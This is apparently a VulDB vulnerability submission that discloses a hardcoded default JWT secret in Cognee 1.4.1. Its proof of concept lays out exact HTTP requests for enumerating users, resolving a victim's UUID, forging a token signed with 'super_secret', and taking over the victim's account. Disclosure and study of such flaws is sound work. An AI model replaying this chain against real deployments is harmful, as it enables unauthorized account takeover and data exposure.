Submit #944531: Cognee 1.4.1 Insecure Default Variable / Hardcoded Secretinfo

TitleCognee 1.4.1 Insecure Default Variable / Hardcoded Secret
DescriptionSummary An insecure default JWT signing key (super_secret) allows a remote attacker to forge valid HS256 JWTs for arbitrary existing users when a deployment does not override FASTAPI_USERS_JWT_SECRET. Normally, deployments of this project should enforce changing the default signing key. In the tested Cognee instance, this becomes a complete black-box account takeover chain because: the registration flow reveals whether an email already exists; any authenticated user can call /api/v1/users/get-user-id to resolve an email to a user UUID; and the application accepts JWTs signed with the default secret for protected endpoints. Using this chain, an attacker can enumerate an existing email, resolve the victim UUID, forge a JWT for that victim, and access protected APIs as the victim. Details The JWT secret is hardcoded with a working fallback value in both authentication backends: cognee/modules/users/authentication/get_api_auth_backend.py:17-21 cognee/modules/users/authentication/get_client_auth_backend.py:17-23 Both contain: secret = os.getenv("FASTAPI_USERS_JWT_SECRET", "super_secret") The project template also ships the same value as the example secret: .env.template:303-307 FASTAPI_USERS_JWT_SECRET="super_secret" This means that if an operator does not replace the default value, the runtime signing key is predictable. The black-box exploitation chain is strengthened by the following behavior: POST /api/v1/auth/register distinguishes existing from non-existing emails. In my local verification on August 3, 2026, re-registering an existing email returned: {"detail":"REGISTER_USER_ALREADY_EXISTS"} Any authenticated user can resolve an arbitrary email to a UUID through: cognee/api/v1/users/routers/get_user_id_by_email_router.py:17-24 mounted in cognee/api/client.py:276-279 @router.post("/get-user-id") async def get_user_id(body: UserEmailRequest, user: User = Depends(get_authenticated_user)): user_id = await get_user_id_by_email(str(body.email)) if user_id is None: raise HTTPException(status_code=404, detail="User not found") return {"user_id": str(user_id)} The login endpoint returns a normal JWT to the attacker:cognee/api/v1/users/routers/get_auth_router.py:24-39 The attacker can decode their own JWT payload without knowing any secret and directly learn the expected claim shape, including: aud = ["fastapi-users:auth"] a valid exp format At that point, the attacker only needs to replace sub with the victim UUID and re-sign the token with HS256 using super_secret. I reproduced this locally on August 3, 2026 against: http://127.0.0.1:8010 health check response: {"status":"ready","health":"healthy","version":"1.4.1-local"} PoC The following is the exact request/response sequence used in my local reproduction. Prerequisites: the deployment uses the default JWT secret super_secret, or does not override FASTAPI_USERS_JWT_SECRET; user registration is enabled; a normal authenticated user can access /api/v1/users/get-user-id. 1. Confirm that the victim email already exists Request: POST /api/v1/auth/register HTTP/1.1 Host: 127.0.0.1:8010 Content-Type: application/json Connection: close Content-Length: 69 {"email":"[email protected]","password":"Passw0r3131d!1123123"} Response: HTTP/1.1 400 Bad Request date: Mon, 03 Aug 2026 07:42:52 GMT server: uvicorn content-length: 41 content-type: application/json Connection: close {"detail":"REGISTER_USER_ALREADY_EXISTS"} This confirms that [email protected] is already registered. 2. Create an attacker account Request: POST /api/v1/auth/register HTTP/1.1 Host: 127.0.0.1:8010 Content-Type: application/json Connection: close Content-Length: 63 {"email":"[email protected]","password":"Passw0rd!123"} Response: HTTP/1.1 201 Created date: Mon, 03 Aug 2026 07:43:23 GMT server: uvicorn content-length: 178 content-type: application/json Connection: close {"id":"e6ef4196-a252-4d47-a228- 1f8c8fdc8c2d","email":"[email protected]","is_active":true,"is_superuser":false,"is_verified":false,"tenant_id ":null,"parent_user_id":null} 3. Log in as the attacker and obtain a valid JWT Request: POST /api/v1/auth/login HTTP/1.1 Host: 127.0.0.1:8010 Content-Type: application/x-www-form-urlencoded Connection: close username=attacker_demo%40example.com&password=Passw0rd!123 Response: HTTP/1.1 200 OK date: Mon, 03 Aug 2026 07:43:58 GMT server: uvicorn content-length: 245 content-type: application/json set-cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlNmVmNDE5Ni1hMjUyLTRkNDctYTIyOC0xZjhjOGZkYzhjMmQiLCJhdWQiOl siZmFzdGFwaS11c2VyczphdXRoIl0sImV4cCI6MTc4NTc0NjYzOH0.-eVvPQMa5GOLTdVd0jYcB6yY3uhrK91dFcxRsXVxqY0; HttpOnly; Path=/; SameSite=Lax Connection: close {"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlNmVmNDE5Ni1hMjUyLTRkNDctYTIyOC0xZjhjOGZkYzhjMmQiLCJh dWQiOlsiZmFzdGFwaS11c2VyczphdXRoIl0sImV4cCI6MTc4NTc0NjYzOH0.-eVvPQMa5GOLTdVd0jYcB6yY3uhrK91dFcxRsXVxqY0","token_type": "bearer"} The attacker can decode this JWT payload and learn that the application expects: { "sub": "<user_uuid>", "aud": ["fastapi-users:auth"], "exp": <unix_timestamp> } 4. Use the attacker JWT to resolve the victim UUID Request: POST /api/v1/users/get-user-id HTTP/1.1 Host: 127.0.0.1:8010 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlNmVmNDE5Ni1hMjUyLTRkNDctYTIyOC0xZjhjOGZkYzhjMmQiLCJhdWQiOlsiZmFzdGFwa S11c2VyczphdXRoIl0sImV4cCI6MTc4NTc0NjYzOH0.-eVvPQMa5GOLTdVd0jYcB6yY3uhrK91dFcxRsXVxqY0 Content-Type: application/json Connection: close Content-Length: 35 {"email":"[email protected]"} Response: HTTP/1.1 200 OK date: Mon, 03 Aug 2026 07:44:39 GMT server: uvicorn content-length: 50 content-type: application/json Connection: close {"user_id":"4baf09fa-dfea-4fa4-8e44-4aad2c62d031"} Now the attacker knows the victim UUID. 5. Forge a victim JWT with the default secret Using the victim UUID from the previous step, the attacker creates the following JWT payload: { "sub": "4baf09fa-dfea-4fa4-8e44-4aad2c62d031", "aud": ["fastapi-users:auth"], "exp": 1893457000 } Sign it with: algorithm: HS256 secret: super_secret The forged JWT used in my local test was: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0YmFmMDlmYS1kZmVhLTRmYTQtOGU0NC00YWFkMmM2MmQwMzEiLCJhdWQiOlsiZmFzdGFwa S11c2VyczphdXRoIl0sImV4cCI6MTg5MzQ1NzAwMH0.7bBF1F9hINJHjlQXPjgurcpaeBsvOPDlgEIZg1kVqUc 6. Access a protected endpoint as the victim Request: GET /api/v1/users/me HTTP/1.1 Host: 127.0.0.1:8010 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0YmFmMDlmYS1kZmVhLTRmYTQtOGU0NC00YWFkMmM2MmQwMzEiLCJhdWQiOlsiZmFzdGFwa S11c2VyczphdXRoIl0sImV4cCI6MTg5MzQ1NzAwMH0.7bBF1F9hINJHjlQXPjgurcpaeBsvOPDlgEIZg1kVqUc Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive Response: HTTP/1.1 200 OK date: Mon, 03 Aug 2026 07:58:27 GMT server: uvicorn content-length: 176 content-type: application/json {"id":"4baf09fa-dfea-4fa4-8e44-4aad2c62d031","email":"[email protected]","is_active":true,"is_superuser":false,"is_verified":false,"tenant_id":null,"parent_user_id":null} This confirms that the forged JWT is accepted and that the attacker is authenticated as the victim. Impact This is an authentication bypass / account takeover vulnerability. Affected users: - self-hosted or deployed Cognee instances that do not replace the default JWT signing key; - any users whose accounts exist on those instances. - a remote attacker can resolve victim UUIDs through /api/v1/users/get-user-id; - a remote attacker can forge JWTs for arbitrary existing users; - any endpoint protected by get_authenticated_user can be accessed as the victim. In my local testing, the impact was not limited to /api/v1/users/me. After forging a victim JWT, I was also able to access victim-scoped protected functionality such as dataset listing and raw data access, and create a new API key for the victim account. That means this issue can lead to persistent account takeover, data exposure, and further abuse of victim permissions. This vulnerability was reported to the vendor via GitHub security advisory, but has been unacknowledged for over three weeks.
Source⚠️ https://github.com/topoteretes/cognee/
User
 zhuke (UID 100256)
Submission08/24/2026 08:38 (2 months ago)
Moderation10/03/2026 16:26 (1 month later)
StatusAccepted
VulDB entry413365 [topoteretes cognee up to 1.5.4 JWT Signing Key get_api_auth_backend.py get_user_id_by_email FASTAPI_USERS_JWT_SECRET hard-coded credentials]
Points20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!